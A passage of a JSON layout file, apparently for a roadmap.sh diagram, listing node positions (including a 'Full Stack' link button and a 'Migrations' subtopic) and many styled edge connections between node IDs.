\"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -624.7958506779293,\n        \"y\": 3031.464403993429\n      },\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cnZFR67IbmEL-SkNwYc5S\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -619.7269854187088,\n        \"y\": 2989.2437984566805\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the DevOps Beginner Roadmap\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -619.7269854187088,\n        \"y\": 2989.2437984566805\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 190,\n      \"height\": 49,\n      \"id\": \"q1EM7Wog8l_MbYlKsb7Y5\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -161.92542199337953,\n        \"y\": 3479.686197134392\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Full Stack\",\n        \"href\": \"https://roadmap.sh/full-stack\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -161.92542199337953,\n        \"y\": 3479.686197134392\n      },\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZsZvStCvKwFhlBYe9HGhl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 141.18643733008196,\n        \"y\": 1573.4323026615211\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Migrations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 141.18643733008196,\n        \"y\": 1573.4323026615211\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"kZ9PY1uTum4Z-k0i7eGRP\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"y2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"TOiTwryy9Q_l_quUkU2D2\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-NVSQ4OtmvRp7p4cOEvKh7w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"id\": \"PgszHaqxDHaB5QN8JAPSt\",\n      \"source\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"target\": \"z5AdThp9ByulmM9uekgm-\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"targetHandle\": \"z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"id\": \"ad61LnGU_C92URjr6pXkA\",\n      \"source\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"target\": \"jjjonHTHHo-NiAf6p9xPv\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"targetHandle\": \"z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"0NJDgfe6eMa7qPUOI6Eya\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-0NJDgfe6eMa7qPUOI6Eyaz2-fekyMpEnaGqjh1Cu4Nyc4y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Op-PSPNoyj6Ss9CS09AXh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Op-PSPNoyj6Ss9CS09AXhz2-fekyMpEnaGqjh1Cu4Nyc4y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SqTnY2zykzA6857nHHwG2\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"Nv-ANzvcD7ePvAaOHPXzV\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Uhj-lrUhQQnwOdn_e6_hd\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"szv1qDulQMvfjMvZbaqDo\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Uhj-lrUhQQnwOdn_e6_hd\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"j_W-PXyE77bi_kA45fYqn\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ronTDxAvatzbk4n5a-McM\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"gaNQ1Peug0eiN0Bfxhtgw\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZhSuu2VArnzPDp6dPQQSC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"351utcB2QNjRmDe5bmcD1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aqMaEY8gkKMikiqleV5EP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"lupNr9zUQ0sXyzPBxcglQ\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hkxw9jPGYphmjhTjw8766\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2IVWwbU20VSU47qjiVU-f\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"9MbeqIRipRgbe34jwalxo\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-yCnn-NfSxIybUQ2iTuUGqy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-R12sArWVpbIs_PHxBqVaRy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZhSuu2VArnzPDp6dPQQSC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-ZhSuu2VArnzPDp6dPQQSCy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aqMaEY8gkKMikiqleV5EP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-aqMaEY8gkKMikiqleV5EPy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hkxw9jPGYphmjhTjw8766\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-hkxw9jPGYphmjhTjw8766y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHz2-P82WFaTPgQEPNp5IIuZ1Yy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"2f0ZO6GJElfZ2Eis28Hzg\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SiYUdtYMDImRPmV2_XPkHy2-2f0ZO6GJElfZ2Eis28Hzgw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2f0ZO6GJElfZ2Eis28Hzg\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CWwh2abwqx4hAxpAGvhIx\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgy2-CWwh2abwqx4hAxpAGvhIxz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2f0ZO6GJElfZ2Eis28Hzg\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ezdqQW9wTUw93F6kjOzku\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgx2-ezdqQW9wTUw93F6kjOzkuy2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ezdqQW9wTUw93F6kjOzku\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NvUcSDWBhzJZ31nzT4UlE\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ezdqQW9wTUw93F6kjOzkuy2-NvUcSDWBhzJZ31nzT4UlEz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VPxOdjJtKAqmM5V0LR5OC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-VPxOdjJtKAqmM5V0LR5OCy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tD3i-8gBpMKCHB-ITyDiU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-tD3i-8gBpMKCHB-ITyDiUy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dEsTje8kfHwWjCI3zcgLC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-dEsTje8kfHwWjCI3zcgLCy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"h1SAjQltHtztSt8QmRgab\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-h1SAjQltHtztSt8QmRgaby2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ezdqQW9wTUw93F6kjOzku\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"_I1E__wCIVrhjMk6IMieE\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ezdqQW9wTUw93F6kjOzkuw2-_I1E__wCIVrhjMk6IMieEx1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvUcSDWBhzJZ31nzT4UlE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"r45b461NxLN6wBODJ5CNP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-NvUcSDWBhzJZ31nzT4UlEz2-r45b461NxLN6wBODJ5CNPy1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"FihTrMO56kj9jT8O_pO2T\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPw2-FihTrMO56kj9jT8O_pO2Tx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPx2-EwvLPSI6AlZ4TnNIJTZA4w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lfNFDZZNdrB0lbEaMtU71\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4x2-lfNFDZZNdrB0lbEaMtU71w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"z1-eP4sV75GBEIdM4NvL9\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"xPvVwGQw28uMeLYIWn8yn\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-z1-eP4sV75GBEIdM4NvL9w2-xPvVwGQw28uMeLYIWn8ynx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"z1-eP4sV75GBEIdM4NvL9\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ELj8af7Mi38kUbaPJfCURy2-z1-eP4sV75GBEIdM4NvL9z2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Nq2BO53bHJdFT1rGZPjYx\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ELj8af7Mi38kUbaPJfCURy2-Nq2BO53bHJdFT1rGZPjYxz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KWTbEVX_WxS8jmSaAX3Fe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ELj8af7Mi38kUbaPJfCURy2-KWTbEVX_WxS8jmSaAX3Fez1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EwvLPSI6AlZ4TnNIJTZA4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-EwvLPSI6AlZ4TnNIJTZA4y2-ELj8af7Mi38kUbaPJfCURz2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ELj8af7Mi38kUbaPJfCUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ELj8af7Mi38kUbaPJfCURx2-RBrIP5KbVQ2F0ly7kMfTow1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"kGTALrvCpxyVCXHRmkI7s\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfToy2-kGTALrvCpxyVCXHRmkI7sz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JVN38r5jENoteia3YeIQ3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfToy2-JVN38r5jENoteia3YeIQ3z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      